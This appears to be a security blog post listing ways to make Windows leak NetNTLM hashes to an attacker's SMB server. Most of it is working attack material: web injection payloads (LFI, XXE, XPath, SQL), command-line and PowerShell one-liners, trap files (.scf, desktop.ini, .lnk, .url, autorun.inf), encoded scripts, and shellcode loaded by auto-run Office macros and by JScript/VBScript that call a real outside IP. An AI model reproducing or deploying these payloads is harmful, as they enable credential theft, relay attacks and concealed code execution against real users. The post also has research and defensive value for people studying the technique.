Places of Interest in Stealing NetNTLM Hashes

One day me and @m3g9tr0n were discussing different places where we can use responder in stealing NetNTLM hashes. After experimenting I thought of writing this post along with some cool findings in the world of Windows. SMBRelay attacks are also possible in these scenarios.

LFI

The include() in PHP will resolve the network path for us.

http://host.tld/?page=//11.22.33.44/@OsandaMalith

XXE

In here I’m using “php://filter/convert.base64-encode/resource=” that will resolve a network path.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
]>
<root>
  <name></name>
  <tel></tel>
  <email>OUT&xxe;OUT</email>
  <password></password>
</root>


XPath Injection

Usually, doc() is used in out-of-band XPath injections, thus can be applied in resolving a network path.

http://host.tld/?title=Foundation&type=*&rent_days=* and doc('//35.164.153.224/@OsandaMalith')

MySQL Injection

I have written a complete post on MySQL out-of-band injections which can be applied over the internet. You can also use ‘INTO OUTFILE’ to resolve a network path.

http://host.tld/index.php?id=1’ union select 1,2,load_file(‘\\\\192.168.0.100\\@OsandaMalith’),4;%00

MSSQL

Since stacked queries are supported we can call stored procedures.
[code language=”sql”]
‘;declare @q varchar(99);set @q=’\\192.168.254.52\test’; exec master.dbo.xp_dirtree @q
[/code]

Regsvr32

Accidently found this one while experimenting with .sct files.

regsvr32 /s /u /i://35.164.153.224/@OsandaMalith scrobj.dll

Batch

There are many possible ways you can explore

echo 1 > //192.168.0.1/abc
pushd \\192.168.0.1\abc
cmd /k \\192.168.0.1\abc
cmd /c \\192.168.0.1\abc
start \\192.168.0.1\abc
mkdir \\192.168.0.1\abc
type\\192.168.0.1\abc
dir\\192.168.0.1\abc
find, findstr, [x]copy, move, replace, del, rename and many more!

Auto-Complete

You just need to type ‘\\host\’ the auto-complete will do the trick under the explorer and the run dialog box.

Autorun.inf

Starting from Windows 7 this feature is disabled. However you can enable by changing the group policy for Autorun. Make sure to hide the Autorun.inf file to work.

[autorun]
open=\\35.164.153.224\setup.exe
icon=something.ico
action=open Setup.exe

Shell Command Files

You can save this as something.scf and once you open the folder explorer will try to resolve the network path for the icon.

[Shell]
Command=2
IconFile=\\35.164.153.224\test.ico
[Taskbar]
Command=ToggleDesktop

Desktop.ini

The desktop.ini files contain the information of the icons you have applied to the folder. We can abuse this to resolve a network path. Once you open the folder you should get the hashes.

mkdir openMe
attrib +s openMe
cd openMe
echo [.ShellClassInfo] > desktop.ini
echo IconResource=\\192.168.0.1\aa >> desktop.ini
attrib +s +h desktop.ini

In Windows XP systems the desktop.ini file uses ‘IcondFile’ instead of ‘IconResource’.

[.ShellClassInfo]
IconFile=\\192.168.0.1\aa
IconIndex=1337

Shortcut Files (.lnk)

We can create a shortcut containing our network path and as you as you open the shortcut Windows will try to resolve the network path. You can also specify a keyboard shortcut to trigger the shortcut. For the icon you can give the name of a Windows binary or choose an icon from either shell32.dll, Ieframe.dll, imageres.dll, pnidui.dll or wmploc.dll located in the system32 directory.
[code language=”vb”]
Set shl = CreateObject(&quot;WScript.Shell&quot;)
Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)
currentFolder = shl.CurrentDirectory

Set sc = shl.CreateShortcut(fso.BuildPath(currentFolder, &quot;\StealMyHashes.lnk&quot;))

sc.TargetPath = &quot;\\35.164.153.224\@OsandaMalith&quot;
sc.WindowStyle = 1
sc.HotKey = &quot;Ctrl+Alt+O&quot;
sc.IconLocation = &quot;%windir%\system32\shell32.dll, 3&quot;
sc.Description = &quot;I will Steal your Hashes&quot;
sc.Save
[/code]

The Powershell version.
[code language=”powershell”]
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut(&quot;StealMyHashes.lnk&quot;)
$lnk.TargetPath = &quot;\\35.164.153.224\@OsandaMalith&quot;
$lnk.WindowStyle = 1
$lnk.IconLocation = &quot;%windir%\system32\shell32.dll, 3&quot;
$lnk.Description = &quot;I will Steal your Hashes&quot;
$lnk.HotKey = &quot;Ctrl+Alt+O&quot;
$lnk.Save()
[/code]

Internet Shortcuts (.url)

Another shortcut in Windows is the Internet shortcuts. You can save this as something.url

echo [InternetShortcut] > stealMyHashes.url 
echo URL=file://192.168.0.1/@OsandaMalith >> stealMyHashes.url

Autorun with Registry

You can add a new registry key in any of the following paths.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Powershell

There are probably many scriptlets in Powershell that would resolve a network path.
[code language=”powershell”]
Invoke-Item \\192.168.0.1\aa
Get-Content \\192.168.0.1\aa
Start-Process \\192.168.0.1\aa
[/code]

IE

IE will resolve UNC paths. For example

<img src="\\\\192.168.0.1\\aa"> 

You can inject under XSS or in scenarios you find SQL injection. For example.

http://host.tld/?id=-1' union select 1,'<img src="\\\\192.168.0.1\\aa">';%00 

VBScript

You can save this as .vbs or can be used inside a macro that is applied to Word or Excel files.
[code language=”vb”]
Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set file = fso.OpenTextFile(&quot;//192.168.0.100/aa&quot;, 1)
[/code]
You can apply in web pages but this works only with IE.
[code language=”html”]
&lt;html&gt;
&lt;script type=&quot;text/Vbscript&quot;&gt;
&lt;!–
Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set file = fso.OpenTextFile(&quot;//192.168.0.100/aa&quot;, 1)
//–&gt;
&lt;/script&gt;
&lt;/html&gt;
[/code]
Here’ the encoded version. You can encode and save this as something.vbe
[code language=”vb”]
#@~^ZQAAAA==jY~6?}’ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2 yczmCE~8#XSAAAA==^#~@
[/code]

You can apply this in html files too. But only works with IE. You can save this as something.hta which will be an HTML Application under windows, which mshta.exe will execute it. By default it uses IE.
[code language=”html”]
&lt;html&gt;
&lt;script type=&quot;text/Vbscript.Encode&quot;&gt;
&lt;!–
#@~^ZQAAAA==jY~6?}’ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2 yczmCE~8#XSAAAA==^#~@
//–&gt;
&lt;/script&gt;
&lt;/html&gt;
[/code]

JScript

You can save this as something.js under windows.
[code language=”javascript”]
var fso = new ActiveXObject(&quot;Scripting.FileSystemObject&quot;)
fso.FileExists(&quot;//192.168.0.103/aa&quot;)
[/code]
You can apply the same in html files but only works with IE. Also you can save this as something.hta.
[code language=”html”]
&lt;html&gt;
&lt;script type=&quot;text/Jscript&quot;&gt;
&lt;!–
var fso = new ActiveXObject(&quot;Scripting.FileSystemObject&quot;)
fso.FileExists(&quot;//192.168.0.103/aa&quot;)
//–&gt;
&lt;/script&gt;
&lt;/html&gt;
[/code]
Here’s the encoded version. You can save this as something.jse.
[code language=”javascript”]
#@~^XAAAAA==-mD~6/K’xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@
[/code]

The html version of this.
[code language=”html”]
&lt;html&gt;
&lt;script type=&quot;text/Jscript.Encode&quot;&gt;
&lt;!–
#@~^XAAAAA==-mD~6/K’xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@
//–&gt;
&lt;/script&gt;
&lt;/html&gt;
[/code]

Windows Script Files

Save this as something.wsf.
[code language=”xml”]
&lt;package&gt;
&lt;job id=&quot;boom&quot;&gt;
&lt;script language=&quot;VBScript&quot;&gt;
Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set file = fso.OpenTextFile(&quot;//192.168.0.100/aa&quot;, 1)
&lt;/script&gt;
&lt;/job&gt;
&lt;/package&gt;
[/code]

Shellcode

Here’s a small shellcode I made. This shellcode uses CreateFile and tries to read a non-existing network path. You can use tools such as Responder to capture NetNTLM hashes. The shellcode can be modified to steal hashes over the internet. SMBRelay attacks can also be performed.
[code language=”c”]
/*
Title: CreateFile Shellcode
Author: Osanda Malith Jayathissa (@OsandaMalith)
Website: https://osandamalith.com
Size: 368 Bytes
*/
# include &lt;stdlib.h&gt;
# include &lt;stdio.h&gt;
# include &lt;string.h&gt;
# include &lt;windows.h&gt;

int main() {

char *shellcode =
&quot;\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x4c\x03\x02\x02\x81\xf1\x02\x02&quot;
&quot;\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa&quot;
&quot;\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x29\x01\x05\x05&quot;
&quot;\xb9\x02\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x56\xb9\x8d\x10&quot;
&quot;\xb7\xf8\xe8\x5f\x05\x05\x05\x68\x31\x01\x05\x05\xff\xd0\xb9\xe0&quot;
&quot;\x53\x31\x4b\xe8\x4e\x05\x05\x05\xb9\xac\xd5\xaa\x88\x8b\xf0\xe8&quot;
&quot;\x42\x05\x05\x05\x6a\x05\x68\x80\x05\x05\x05\x6a\x03\x6a\x05\x6a&quot;
&quot;\x01\x68\x05\x05\x05\x80\x68\x3e\x01\x05\x05\xff\xd0\x6a\x05\xff&quot;
&quot;\xd6\x33\xc0\x5e\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c\x61\x0f\xbe&quot;
&quot;\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0\x75\xea\x8b&quot;
&quot;\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x89&quot;
&quot;\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b\x45\xfc\x8b\x40&quot;
&quot;\x0c\x8b\x40\x14\x89\x45\xec\x8b\xf8\x8b\xcf\xe8\xd2\xff\xff\xff&quot;
&quot;\x8b\x70\x18\x8b\x3f\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78&quot;
&quot;\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff\xff\xff\x8b&quot;
&quot;\x4c\x33\x20\x89\x45\xf8\x33\xc0\x03\xce\x89\x4d\xf0\x89\x45\xfc&quot;
&quot;\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75\xff\xff\xff&quot;
&quot;\x03\x45\xf8\x39\x45\xf4\x74\x1c\x8b\x45\xfc\x8b\x4d\xf0\x40\x89&quot;
&quot;\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c\x33\xc0\x5f&quot;
&quot;\x5e\x5b\xc9\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7&quot;
&quot;\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdf&quot;
&quot;\x21\x05\x05\x05\x50\x05\x05\x05\x6b\x65\x72\x6e\x65\x6c\x33\x32&quot;
&quot;\x2e\x64\x6c\x6c\x05\x2f\x2f\x65\x72\x72\x6f\x72\x2f\x61\x61\x05&quot;;

DWORD oldProtect;

wprintf(L&quot;Length : %d bytes\n@OsandaMalith&quot;, strlen(shellcode));
BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &amp;oldProtect);

if (!ret) {
fprintf(stderr, &quot;%s&quot;, &quot;Error Occured&quot;);
return EXIT_FAILURE;
}

((void(*)(void))shellcode)();

VirtualProtect (shellcode, strlen(shellcode), oldProtect, &amp;oldProtect);

return EXIT_SUCCESS;
}
[/code]

https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html

Shellcode Inside Macros

Here’s the above shellcode applied inside a Word/Excel macro. You can use the same code inside a VB6 application.
[code language=”vb”]
‘ Author : Osanda Malith Jayathissa (@OsandaMalith)
‘ Title: Shellcode to request a non-existing network path
‘ Website: https://osandamalith
‘ Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
‘ This is a word/excel macro. This can be used in vb6 applications as well

#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib &quot;kernel32&quot; ( _
ByVal lpThreadAttributes As Long, _
ByVal dwStackSize As Long, _
ByVal lpStartAddress As LongPtr, _
lpParameter As Long, _
ByVal dwCreationFlags As Long, _
lpThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib &quot;kernel32&quot; ( _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib &quot;kernel32&quot; ( _
ByVal Destination As LongPtr, _
ByRef Source As Any, _
ByVal Length As Long) As LongPtr

#Else
Private Declare Function CreateThread Lib &quot;kernel32&quot; ( _
ByVal lpThreadAttributes As Long, _
ByVal dwStackSize As Long, _
ByVal lpStartAddress As Long, _
lpParameter As Long, _
ByVal dwCreationFlags As Long, _
lpThreadId As Long) As Long

Private Declare Function VirtualAlloc Lib &quot;kernel32&quot; ( _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long) As Long

Private Declare Function RtlMoveMemory Lib &quot;kernel32&quot; ( _
ByVal Destination As Long, _
ByRef Source As Any, _
ByVal Length As Long) As Long
#EndIf

Const MEM_COMMIT = &amp;H1000
Const PAGE_EXECUTE_READWRITE = &amp;H40

Sub Auto_Open()
Dim source As Long, i As Long
#If Vba7 Then
Dim lpMemory As LongPtr, lResult As LongPtr
#Else
Dim lpMemory As Long, lResult As Long
#EndIf

Dim bShellcode(376) As Byte
bShellcode(0) = 232
bShellcode(1) = 255
bShellcode(2) = 255
bShellcode(3) = 255
bShellcode(4) = 255
bShellcode(5) = 192
bShellcode(6) = 95
bShellcode(7) = 185
bShellcode(8) = 85
bShellcode(9) = 3
bShellcode(10) = 2
bShellcode(11) = 2
bShellcode(12) = 129
bShellcode(13) = 241
bShellcode(14) = 2
bShellcode(15) = 2
bShellcode(16) = 2
…………………
lpMemory = VirtualAlloc(0, UBound(bShellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
For i = LBound(bShellcode) To UBound(bShellcode)
source = bShellcode(i)
lResult = RtlMoveMemory(lpMemory + i, source, 1)
Next i
lResult = CreateThread(0, 0, lpMemory, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
[/code]
https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba

Shellcode Inside VBS and JS

subTee has done many kinds of research with JS and DynamicWrapperX. You can find a POC using the DynamicWrapperX DLL.
http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html
Based on that I have ported the shellcode to JS and VBS. The fun part is we can embed shellcode in JScript or VBScript inside html and .hta formats.
Note the following shellcode directs to my IP.

JScript

[code language=”javascript”]
/*
* Author : Osanda Malith Jayathissa (@OsandaMalith)
* Title: Shellcode to request a non-existing network path
* Website: https://osandamalith.com
* Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
* Based on subTee’s JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04
*/
DX = new ActiveXObject(&quot;DynamicWrapperX&quot;);
DX.Register(&quot;kernel32.dll&quot;, &quot;VirtualAlloc&quot;, &quot;i=luuu&quot;, &quot;r=u&quot;);
DX.Register(&quot;kernel32.dll&quot;,&quot;CreateThread&quot;,&quot;i=uullu&quot;,&quot;r=u&quot; );
DX.Register(&quot;kernel32.dll&quot;, &quot;WaitForSingleObject&quot;, &quot;i=uu&quot;, &quot;r=u&quot;);

var MEM_COMMIT = 0x1000;
var PAGE_EXECUTE_READWRITE = 0x40;

var sc = [
0xe8, 0xff, 0xff, 0xff, 0xff, 0xc0, 0x5f, 0xb9, 0x55, 0x03, 0x02, 0x02, 0x81, 0xf1, 0x02, 0x02, 0x02, 0x02, 0x83, 0xc7,
0x1d, 0x33, 0xf6, 0xfc, 0x8a, 0x07, 0x3c, 0x05, 0x0f, 0x44, 0xc6, 0xaa, 0xe2, 0xf6, 0xe8, 0x05, 0x05, 0x05, 0x05, 0x5e,
0x8b, 0xfe, 0x81, 0xc6, 0x29, 0x01, 0x05, 0x05, 0xb9, 0x02, 0x05, 0x05, 0x05, 0xfc, 0xad, 0x01, 0x3c, 0x07, 0xe2, 0xfa,
0x56, 0xb9, 0x8d, 0x10, 0xb7, 0xf8, 0xe8, 0x5f, 0x05, 0x05, 0x05, 0x68, 0x31, 0x01, 0x05, 0x05, 0xff, 0xd0, 0xb9, 0xe0,
0x53, 0x31, 0x4b, 0xe8, 0x4e, 0x05, 0x05, 0x05, 0xb9, 0xac, 0xd5, 0xaa, 0x88, 0x8b, 0xf0, 0xe8, 0x42, 0x05, 0x05, 0x05,
0x6a, 0x05, 0x68, 0x80, 0x05, 0x05, 0x05, 0x6a, 0x03, 0x6a, 0x05, 0x6a, 0x01, 0x68, 0x05, 0x05, 0x05, 0x80, 0x68, 0x3e,
0x01, 0x05, 0x05, 0xff, 0xd0, 0x6a, 0x05, 0xff, 0xd6, 0x33, 0xc0, 0x5e, 0xc3, 0x33, 0xd2, 0xeb, 0x10, 0xc1, 0xca, 0x0d,
0x3c, 0x61, 0x0f, 0xbe, 0xc0, 0x7c, 0x03, 0x83, 0xe8, 0x20, 0x03, 0xd0, 0x41, 0x8a, 0x01, 0x84, 0xc0, 0x75, 0xea, 0x8b,
0xc2, 0xc3, 0x8d, 0x41, 0xf8, 0xc3, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x14, 0x53, 0x56, 0x57, 0x89, 0x4d, 0xf4, 0x64, 0xa1,
0x30, 0x05, 0x05, 0x05, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, 0x8b, 0x40, 0x0c, 0x8b, 0x40, 0x14, 0x89, 0x45, 0xec, 0x8b,
0xf8, 0x8b, 0xcf, 0xe8, 0xd2, 0xff, 0xff, 0xff, 0x8b, 0x70, 0x18, 0x8b, 0x3f, 0x85, 0xf6, 0x74, 0x4f, 0x8b, 0x46, 0x3c,
0x8b, 0x5c, 0x30, 0x78, 0x85, 0xdb, 0x74, 0x44, 0x8b, 0x4c, 0x33, 0x0c, 0x03, 0xce, 0xe8, 0x96, 0xff, 0xff, 0xff, 0x8b,
0x4c, 0x33, 0x20, 0x89, 0x45, 0xf8, 0x33, 0xc0, 0x03, 0xce, 0x89, 0x4d, 0xf0, 0x89, 0x45, 0xfc, 0x39, 0x44, 0x33, 0x18,
0x76, 0x22, 0x8b, 0x0c, 0x81, 0x03, 0xce, 0xe8, 0x75, 0xff, 0xff, 0xff, 0x03, 0x45, 0xf8, 0x39, 0x45, 0xf4, 0x74, 0x1c,
0x8b, 0x45, 0xfc, 0x8b, 0x4d, 0xf0, 0x40, 0x89, 0x45, 0xfc, 0x3b, 0x44, 0x33, 0x18, 0x72, 0xde, 0x3b, 0x7d, 0xec, 0x75,
0x9c, 0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x4d, 0xfc, 0x8b, 0x44, 0x33, 0x24, 0x8d, 0x04, 0x48, 0x0f, 0xb7,
0x0c, 0x30, 0x8b, 0x44, 0x33, 0x1c, 0x8d, 0x04, 0x88, 0x8b, 0x04, 0x30, 0x03, 0xc6, 0xeb, 0xdf, 0x21, 0x05, 0x05, 0x05,
0x50, 0x05, 0x05, 0x05, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x05, 0x2f, 0x2f, 0x33,
0x35, 0x2e, 0x31, 0x36, 0x34, 0x2e, 0x31, 0x35, 0x33, 0x2e, 0x32, 0x32, 0x34, 0x2f, 0x61, 0x61, 0x05];

var scLocation = DX.VirtualAlloc(0, sc.length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
for(var i = 0; i &lt; sc.length; i++) DX.NumPut(sc[i],scLocation,i);
var thread = DX.CreateThread(0,0,scLocation,0,0);
[/code]

https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js

VBScript

[code language=”vb”]
‘ Author : Osanda Malith Jayathissa (@OsandaMalith)
‘ Title: Shellcode to request a non-existing network path
‘ Website: https://osandamalith.com
‘ Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
‘ Based on subTee’s JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04

Set DX = CreateObject(&quot;DynamicWrapperX&quot;)
DX.Register &quot;kernel32.dll&quot;, &quot;VirtualAlloc&quot;, &quot;i=luuu&quot;, &quot;r=u&quot;
DX.Register &quot;kernel32.dll&quot;,&quot;CreateThread&quot;,&quot;i=uullu&quot;,&quot;r=u&quot;
DX.Register &quot;kernel32.dll&quot;, &quot;WaitForSingleObject&quot;, &quot;i=uu&quot;, &quot;r=u&quot;

Const MEM_COMMIT = &amp;H1000
Const PAGE_EXECUTE_READWRITE = &amp;H40

shellcode = Array( _
&amp;He8, &amp;Hff, &amp;Hff, &amp;Hff, &amp;Hff, &amp;Hc0, &amp;H5f, &amp;Hb9, &amp;H55, &amp;H03, &amp;H02, &amp;H02, &amp;H81, &amp;Hf1, &amp;H02, &amp;H02, &amp;H02, &amp;H02, &amp;H83, &amp;Hc7, _
&amp;H1d, &amp;H33, &amp;Hf6, &amp;Hfc, &amp;H8a, &amp;H07, &amp;H3c, &amp;H05, &amp;H0f, &amp;H44, &amp;Hc6, &amp;Haa, &amp;He2, &amp;Hf6, &amp;He8, &amp;H05, &amp;H05, &amp;H05, &amp;H05, &amp;H5e, _
&amp;H8b, &amp;Hfe, &amp;H81, &amp;Hc6, &amp;H29, &amp;H01, &amp;H05, &amp;H05, &amp;Hb9, &amp;H02, &amp;H05, &amp;H05, &amp;H05, &amp;Hfc, &amp;Had, &amp;H01, &amp;H3c, &amp;H07, &amp;He2, &amp;Hfa, _
&amp;H56, &amp;Hb9, &amp;H8d, &amp;H10, &amp;Hb7, &amp;Hf8, &amp;He8, &amp;H5f, &amp;H05, &amp;H05, &amp;H05, &amp;H68, &amp;H31, &amp;H01, &amp;H05, &amp;H05, &amp;Hff, &amp;Hd0, &amp;Hb9, &amp;He0, _
&amp;H53, &amp;H31, &amp;H4b, &amp;He8, &amp;H4e, &amp;H05, &amp;H05, &amp;H05, &amp;Hb9, &amp;Hac, &amp;Hd5, &amp;Haa, &amp;H88, &amp;H8b, &amp;Hf0, &amp;He8, &amp;H42, &amp;H05, &amp;H05, &amp;H05, _
&amp;H6a, &amp;H05, &amp;H68, &amp;H80, &amp;H05, &amp;H05, &amp;H05, &amp;H6a, &amp;H03, &amp;H6a, &amp;H05, &amp;H6a, &amp;H01, &amp;H68, &amp;H05, &amp;H05, &amp;H05, &amp;H80, &amp;H68, &amp;H3e, _
&amp;H01, &amp;H05, &amp;H05, &amp;Hff, &amp;Hd0, &amp;H6a, &amp;H05, &amp;Hff, &amp;Hd6, &amp;H33, &amp;Hc0, &amp;H5e, &amp;Hc3, &amp;H33, &amp;Hd2, &amp;Heb, &amp;H10, &amp;Hc1, &amp;Hca, &amp;H0d, _
&amp;H3c, &amp;H61, &amp;H0f, &amp;Hbe, &amp;Hc0, &amp;H7c, &amp;H03, &amp;H83, &amp;He8, &amp;H20, &amp;H03, &amp;Hd0, &amp;H41, &amp;H8a, &amp;H01, &amp;H84, &amp;Hc0, &amp;H75, &amp;Hea, &amp;H8b, _
&amp;Hc2, &amp;Hc3, &amp;H8d, &amp;H41, &amp;Hf8, &amp;Hc3, &amp;H55, &amp;H8b, &amp;Hec, &amp;H83, &amp;Hec, &amp;H14, &amp;H53, &amp;H56, &amp;H57, &amp;H89, &amp;H4d, &amp;Hf4, &amp;H64, &amp;Ha1, _
&amp;H30, &amp;H05, &amp;H05, &amp;H05, &amp;H89, &amp;H45, &amp;Hfc, &amp;H8b, &amp;H45, &amp;Hfc, &amp;H8b, &amp;H40, &amp;H0c, &amp;H8b, &amp;H40, &amp;H14, &amp;H89, &amp;H45, &amp;Hec, &amp;H8b, _
&amp;Hf8, &amp;H8b, &amp;Hcf, &amp;He8, &amp;Hd2, &amp;Hff, &amp;Hff, &amp;Hff, &amp;H8b, &amp;H70, &amp;H18, &amp;H8b, &amp;H3f, &amp;H85, &amp;Hf6, &amp;H74, &amp;H4f, &amp;H8b, &amp;H46, &amp;H3c, _
&amp;H8b, &amp;H5c, &amp;H30, &amp;H78, &amp;H85, &amp;Hdb, &amp;H74, &amp;H44, &amp;H8b, &amp;H4c, &amp;H33, &amp;H0c, &amp;H03, &amp;Hce, &amp;He8, &amp;H96, &amp;Hff, &amp;Hff, &amp;Hff, &amp;H8b, _
&amp;H4c, &amp;H33, &amp;H20, &amp;H89, &amp;H45, &amp;Hf8, &amp;H33, &amp;Hc0, &amp;H03, &amp;Hce, &amp;H89, &amp;H4d, &amp;Hf0, &amp;H89, &amp;H45, &amp;Hfc, &amp;H39, &amp;H44, &amp;H33, &amp;H18, _
&amp;H76, &amp;H22, &amp;H8b, &amp;H0c, &amp;H81, &amp;H03, &amp;Hce, &amp;He8, &amp;H75, &amp;Hff, &amp;Hff, &amp;Hff, &amp;H03, &amp;H45, &amp;Hf8, &amp;H39, &amp;H45, &amp;Hf4, &amp;H74, &amp;H1c, _
&amp;H8b, &amp;H45, &amp;Hfc, &amp;H8b, &amp;H4d, &amp;Hf0, &amp;H40, &amp;H89, &amp;H45, &amp;Hfc, &amp;H3b, &amp;H44, &amp;H33, &amp;H18, &amp;H72, &amp;Hde, &amp;H3b, &amp;H7d, &amp;Hec, &amp;H75, _
&amp;H9c, &amp;H33, &amp;Hc0, &amp;H5f, &amp;H5e, &amp;H5b, &amp;Hc9, &amp;Hc3, &amp;H8b, &amp;H4d, &amp;Hfc, &amp;H8b, &amp;H44, &amp;H33, &amp;H24, &amp;H8d, &amp;H04, &amp;H48, &amp;H0f, &amp;Hb7, _
&amp;H0c, &amp;H30, &amp;H8b, &amp;H44, &amp;H33, &amp;H1c, &amp;H8d, &amp;H04, &amp;H88, &amp;H8b, &amp;H04, &amp;H30, &amp;H03, &amp;Hc6, &amp;Heb, &amp;Hdf, &amp;H21, &amp;H05, &amp;H05, &amp;H05, _
&amp;H50, &amp;H05, &amp;H05, &amp;H05, &amp;H6b, &amp;H65, &amp;H72, &amp;H6e, &amp;H65, &amp;H6c, &amp;H33, &amp;H32, &amp;H2e, &amp;H64, &amp;H6c, &amp;H6c, &amp;H05, &amp;H2f, &amp;H2f, &amp;H33, _
&amp;H35, &amp;H2e, &amp;H31, &amp;H36, &amp;H34, &amp;H2e, &amp;H31, &amp;H35, &amp;H33, &amp;H2e, &amp;H32, &amp;H32, &amp;H34, &amp;H2f, &amp;H61, &amp;H61, &amp;H05)

scLocation = DX.VirtualAlloc(0, UBound(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)

For i =LBound(shellcode) to UBound(shellcode)
DX.NumPut shellcode(i),scLocation,i
Next

thread = DX.CreateThread (0,0,scLocation,0,0)
[/code]
https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs

There might be many other ways in Windows. You never know! 🙂

References

https://attack.mitre.org/techniques/T1187/

[tweet https://twitter.com/itsreallynick/status/932630874847358977]

Mentioned in the SANS SEC599: Defeating Advanced Adversaries – Purple Team Tactics & Kill Chain Defenses course.
https://www.sans.org/course/defeating-advanced-adversaries-kill-chain-defenses

20 thoughts on “Places of Interest in Stealing NetNTLM Hashes

  1. Internet Explorer handles HTTP redirections (Location header) to file://ip-address and goes there over SMB.

Leave a Reply